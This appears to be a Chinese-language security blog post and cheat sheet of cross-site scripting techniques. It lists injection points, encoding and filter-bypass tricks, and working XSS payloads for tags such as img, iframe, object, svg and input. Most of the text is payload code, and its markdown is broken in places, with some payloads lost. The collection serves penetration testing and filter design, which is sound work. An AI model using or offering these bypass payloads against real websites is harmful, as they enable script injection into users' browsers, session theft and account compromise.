XSS Tricks And Others

| 分类 安全工程师  | 标签 XSS 

输入输出在哪里

  • 在属性里
    formaction action href xlink:href autofocus src content data
    
  • 在标签里
    <script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> <select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio> 
    

     没有标签制造标签也要上

  • 在事件上
    onload onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop onshow onwheel
    

XSS技巧

  • 标签和属性之间不一定只出现空格

    <img/src=x onerror=alert(1)> 有些情况下我们可以使用”/”来代替空格

  • href当中使用javascript或者data URI

    ``` <a href=javascript:alert(2)>M <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>


* 编码
> * 对百分号二次编码
> * Base64 编码绕过
> * HTTP 实体编码绕过
>> `<a href=javascript&colon;confirm(2)>M`
> * \x十六进制,八进制,hex,demical
> * Unicode码
> * urlencode

Hello

Hello

Hello

Hello

<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>M

<a href=jav&#97script:&#97lert(13)>M



> eval 认识\x十六进制,八进制,Unicode码

* CSS表达式

* 转义字符

* URL 中有可自定义的控制的前端编码

* 宽字节绕过

* 头部base绕过

* Referer为空时才可以访问(有一些界面为了避免是从别的地方跳转过来的,就需要referer为空)
> `HTTPS -> HTTP`
> `<meta name="referrer" content="never" >`

* 注意返回的type类型
> 返回的type类型是xml和html时,才可能执行

* 阻止浏览器302跳转

* 头部X-XSS-Protection

* 大小写绕过

* 标签绕过

* 闭合标签


#### 哪些标签(本节直接摘自P神博客,原文链接在文末)
* a 标签的xlink
> 
不要点我 <a xlink:href=javascript:alert(1)>M ``` * script 标签 > ``` //想玩这个,可以在这里转换你的编码 http://www.jsfuck.com/ //其实我们并不需要一个规范的script标签 // <script/src=data:text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script>//在这里我们依然可以使用那些编码 //不只是alert。prompt和confirm也可以弹窗 //可以用"/"来代替单引号和双引号 //我们还可以用char // ".source"不会影响alert(7)的执行 //如果输出是在setTimeout里,我们依然可以直接执行alert(1) ``` * Button 标签 > ```
<button formaction=javascript:alert(1)>M <button onfocus=alert(1) autofocus> ``` * p标签 > 如果你发现变量输出在了p标签里,先不要急着从标签跳出去,因为只要你能跳出""就已经足够了。 `<p/onmouseover=javascript:alert(1); >M</p> ` * img标签 > img标签没有什么好讲的了。不过值得注意的是,有些姿势是因浏览器不通而不能成功的执行的。所以在空闲时间对payload进行分类,做上可执行浏览器的注释来提高你挖掘XSS的效率。 ``` <img src=x onerror=alert(1)> <img src ?itworksonchrome?\/onerror = alert(1)> //只在chrome下有效 <img src=x onerror=window.open('http://google.com');> <img/src/onerror=alert(1)> //只在chrome下有效
``` * body标签 > 没有什么特别之处,都是通过event来调用js ``` <body onload=alert(1)> <body onscroll=alert(1)>







































``` * var标签 > `KCF` * div标签 > ``` <div/onmouseover='alert(1)'>X
``` * iframe标签 > iframe这个例子当中值得一提的是,有时候我们可以通过实体编码 &Tab(换行和tab字符)来bypass一些filter。我们还可以通过事先在swf文件中插入我们的xss code,然后通过src属性来调用。不过关于flash值得一提的是,只有在crossdomain.xml文件中,allow-access-from domain=“*"允许从外部调用swf时,我们才可以通过flash来实现xss attack. > ``` <iframe src=j a v a s c r i p t :a l e r t %28 1 %29></iframe> 把javascript代码每个字符每隔一定的TAB分开 <iframe src=j a v a s c r i p t :a l e r t %28 1 %29></iframe> <iframe/onload=alert(53)></iframe> ``` * meta标签 > 很多时候,在做xss测试时,你会发现你的昵称,文章标题跑到meta标签里。那么你只需要跳出当前属性再添加http-equiv="refresh",就可以构造一个有效的xss payload了。当然一些猥琐流的玩法,会通过给http-equiv设置set-cookie来,进一步重新设置cookie来干一些猥琐的事情 > ``` ? ``` * object标签 > 和a标签的href属性玩法是一样的,不过优点是无须交互。 > `<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>` * marquee标签 > `` * isindex标签 > 第二个例子,值得我们注意一的是在一些只针对属性做了过滤的webapp当中,action很可能就是漏网之鱼。 > ``` <isindex type=image src=1 onerror=alert(1)> <isindex action=javascript:alert(1) type=image> ``` * input标签 > 没有什么特别之处,通过event来调用js。和之前的button的例子一样通过 autofocus来达到无须交互即可弹窗的效果。在这里使用到了onblur是希望大家学会举一反三。 > ``` <input onfocus=javascript:alert(1) autofocus> <input onblur=javascript:alert(1) autofocus> ``` * select标签 > `<select onfocus=javascript:alert(1) autofocus>` * textarea标签 > `<textarea onfocus=javascript:alert(1) autofocus>` * keygen标签 > `<keygen onfocus=javascript:alert(1) autofocus>` * frameset标签 > ``` </FRAMESET> <frameset onload=alert(1)> ``` * embed标签 > ``` </embed> //chrome <embed src=javascript:alert(1)> //firefox ``` * svg标签 > ``` //chrome有效 ``` * math标签 > ``` CLICKME <y/xlink:href=javascript:alert(51)>test1 CLICKME ``` * video标签 > ``` <!–src加伪协议js代码不能触发–> ``` ```